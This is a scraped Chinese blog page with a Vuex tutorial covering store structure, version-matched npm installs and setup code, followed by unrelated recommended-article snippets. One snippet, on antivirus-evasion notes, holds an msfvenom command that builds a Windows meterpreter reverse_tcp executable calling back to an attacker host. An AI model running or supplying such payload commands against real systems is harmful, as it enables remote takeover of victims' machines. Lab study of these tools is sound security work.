vuex知识点以及相关笔记_前端vuex的知识点-程序员宅基地

技术标签: 前端  vue.js  框架  javascript  

一、vuex简介

vuex 是一个专为 Vue.js 应用程序开发的状态管理模式 + 库。它采用集中式存储管理应用的所有组件的状态,并以相应的规则保证状态以一种可预测的方式发生变化。

vuex可以作为一种插件,可以将数据,同步异步的方法统一管理,vuex这个整体是一个仓库,用store来指定,这个仓库包含了数据和方法,

仓库内部分为了三个区域

actions是存放异步方法并且调用的地方

mutations是存放同步调用方法的地方并且将数据传给state

state,状态,是存放数据处

二、使用vuex

1.安装

vuex的版本要领先vue版本,即当vue版本为vue2.xxx时,vuex的版本应该为vuex3.xxx,

当vue3时,就应当安装vuex4

开始安装:在项目根目录下安装 

首先通过命令查找所有可用的vuex版本

npm view vuex versions --json

在package.json中查看vue的版本

在项目中安装指定的vuex3.版本

 npm i [email protected]

 全局安装指定版本

npm install -g [email protected]

使用vuex 

 引入插件后,use方法使用插件,然后定义仓库store

// 引入插件vuex
import Vuex from 'vuex'
Vue.use(Vuex)
const store = new Vuex.Store({
	state: {
	  count: 0
	},
	mutations: {
	  increment (state) {
		state.count++
	  }
	}
  })

 将store挂载到vue实例上

new Vue({
	el:'#app',
	store,
	render: h => h(App)
})

此时所有的组件实例都可以访问到store 

 至此就基本定义 完成,

*注意import Vuex from 'vuex',类似语句是同步且优先执行,Vue.use(Vuex),然后才创建仓库store

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/DespairA/article/details/123457729

智能推荐

溯源与创新 | 开宸以会展服务打造城市名片-程序员宅基地

文章浏览阅读90次。中国会展的历史可追溯到几千年前,《易经》中就有相关描述,“日中为市,致天下之民,聚天下之货,交易而退,各得其所。”1876年,中国政府第一次自派代表并以国家身份参加了费城世界博览会,再到1915年的巴拿马万国博览会......时光流转,到2010年中国上海世博会,再到2015年的米兰世博会,中国的会展几经历史演变,走过了悠长的发展进程。中国的会展业不仅传承久、基数大,而且存..._为什么称会展为城市名片

vue3 element plus中el-radio选中之后再次点击取消选中_el-radio-group点击事件-程序员宅基地

文章浏览阅读2.1k次,点赞3次,收藏2次。vue3 element plus中el-radio选中之后再次点击取消选中_el-radio-group点击事件

WAF-程序员宅基地

文章浏览阅读3.3k次。Web应用防护系统又叫做WAF。按照国际公认的说法,Web应用防火墙是通过执行一系列针对HTTP/HTTPS的网站安全策略来专门为Web应用提供保护的一款产品。随着web的内容与应用越来越丰富,信息量与价值量越来越高,web被入侵和篡改的事件和频率也增多。这就需要专门的web防火墙或是防护系统来维护网站的安全。WAF可分为许多种,从产品形态上来划分,可以大致分为三类:1.1硬件设备

掩日免杀笔记_掩日免杀使用教程-程序员宅基地

文章浏览阅读4.2k次。微信公众号:乌鸦安全扫取二维码获取更多信息!1. 环境攻击机: kali linux 10.211.55.23受害机: Windows10 360主动防御Windows7 火绒主动防御2. 生成exe文件在kali linux下使用msfvenom生成一个64位的exe文件msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.211.55.23 lport=4444 -f exe ..._掩日免杀使用教程

初探Oracle数据库(安装篇)_oracle数据库安装stage有两个-程序员宅基地

文章浏览阅读257次。安装Oracle数据库到了 先决条件检查 时遇到各种失败,于是上网搜了教程,最终解决了,所以记录一下整个过程(1)首先确保以下两个服务开启(2)另外Oracle依赖于磁盘共享,所以一开始磁盘没有共享的话,也是获取不到的,所以cmd运行net share d$=d: 这样就开启了d盘的共享,(类似的c,f)就使用 net share f$=f:(3)然后修改注册表信息在运行中(或键盘按 Win+R)..._oracle数据库安装stage有两个

跟着小马哥学系列之 Spring AOP( Advice 组件详解)_afterreturningadvice-程序员宅基地

文章浏览阅读1.6k次,点赞7次,收藏11次。跟着小马哥学系列之 Spring AOP( Advice 组件详解)简介学好路更宽,钱多少加班。 ——小马哥简介大家好,我是小马哥成千上万粉丝中的一员!2019年8月有幸在叩丁狼教育举办的猿圈活动中知道有这么一位大咖,从此结下了不解之缘!此系列在多次学习极客时间《小马哥讲Spring AOP 编程思想》基础上形成的个人一些总结。希望能帮助各位小伙伴, 祝小伙伴早日学有所成。..._afterreturningadvice

随便推点

conda解决solving environment:failed_conda 卸载pytorch 卡在solving environment-程序员宅基地

文章浏览阅读5.4k次。conda install出现问题,解决solving environment:failed报错方案一方案二报错failed with repodata from current_repodata.json, will retry with next repoda方案一conda update -n base conda方案二之前试了重装没啥用,可能是卸载不干净首先卸载清理注册表找到之前卸载后存在C盘可能是conda文件残余删除,再重新安装..._conda 卸载pytorch 卡在solving environment

Spring Jpa Specification Join查询-程序员宅基地

文章浏览阅读3.1w次,点赞3次,收藏18次。属性 是否必须 说明 name 否 指定该连接表的表名 JoinColumns 否 该属性值可接受多个@JoinColumn,用于配置连接表中外键列的信息,这些外键列参照当前实体对应表的主键列 inv..._specification join

Golang抓包:实现网络数据包捕获与分析_golang pcap,2024年最新【2024Golang最新学习路线-程序员宅基地

文章浏览阅读727次,点赞13次,收藏13次。以上示例代码中,我们使用了嵌套的条件语句来逐级解析数据包的各个层级,并提取所需的信息。其中,我们关注以太网帧、IPv4包、TCP包和HTTP协议,提取了包括源MAC地址、目的MAC地址、源IP地址、目的IP地址、源端口、目的端口、HTTP方法、主机和请求头信息等。上述代码中,我们在数据包捕获的过程中判断源端口或目标端口是否为80(HTTP默认端口),如果是则统计这些HTTP流量的数据量。现在,我们将结合以上的知识来实现一个简单的示例:捕获HTTP请求,并提取请求的URL和请求头信息。

P6474&&ybtoj【基础算法】5章4题【荆轲刺秦王】_荆轲刺秦 数据-程序员宅基地

文章浏览阅读315次。荆轲刺秦王题目P6474解析显然,这是一道广搜先考虑给每一个士兵能看到的点打标记,发现暴力打标记是O(n2m2)O(n^2m^2)O(n2m2)的,可以通过前缀和优化到O(n2m)O(n^2m)O(n2m)打完标记,直接慢慢敲广搜即可注意事项个人提醒:本人曾经写过95分,后来发现是第18个数据跑了7秒,所以请各位把register拆出来,并吸氧等以卡常,写得优美一些code:#include<queue>#include<cstdio>#include<_荆轲刺秦 数据

桌案Drawon模板中心,让创作如此简单-程序员宅基地

文章浏览阅读63次。云晶新一代云上操作系统,To B 与To C 融合,以“共享协作,软件共享”为基础,塑造下一代云上操作系统。为企业信息化提供“生态”解决方案云晶拥有自由开放平台、连接一切、云上操作系统、企业信息化生态解决方案、物联网与互联网融合、中台系统最佳体验等特点。云晶官网:www.yunjingxz.comDrawon官网:www.drawon.cnDrawon是一个基于云晶平台开发的产品,集合了流程图制作、思维导图、草图、ppt为一体的工具集合软件。

Linux安装man中文手册以及基本使用_man替换中文手册-程序员宅基地

文章浏览阅读679次。写在前面的话学习知识,首先得有相应学习的规范范本吧,不管在学习什么,这个东西都是很重要的!对于学习Linux而言,每一个系统调用,每一个命令,每个配置文件的参数,Linux的开发人员都已经写好了,这就是学习Linux最具有价值的学习资料.man命令可以通过一些参数,快速查询linux帮助手册,并且格式化显示.查看man手册的主页man manman手册组成普通命令内核提供的系统调用库调用(C库函数)特殊文件(大多在/dev目录下)和设备文件格式规范游戏杂项系统管理命令(通常_man替换中文手册

推荐文章

热门文章

相关标签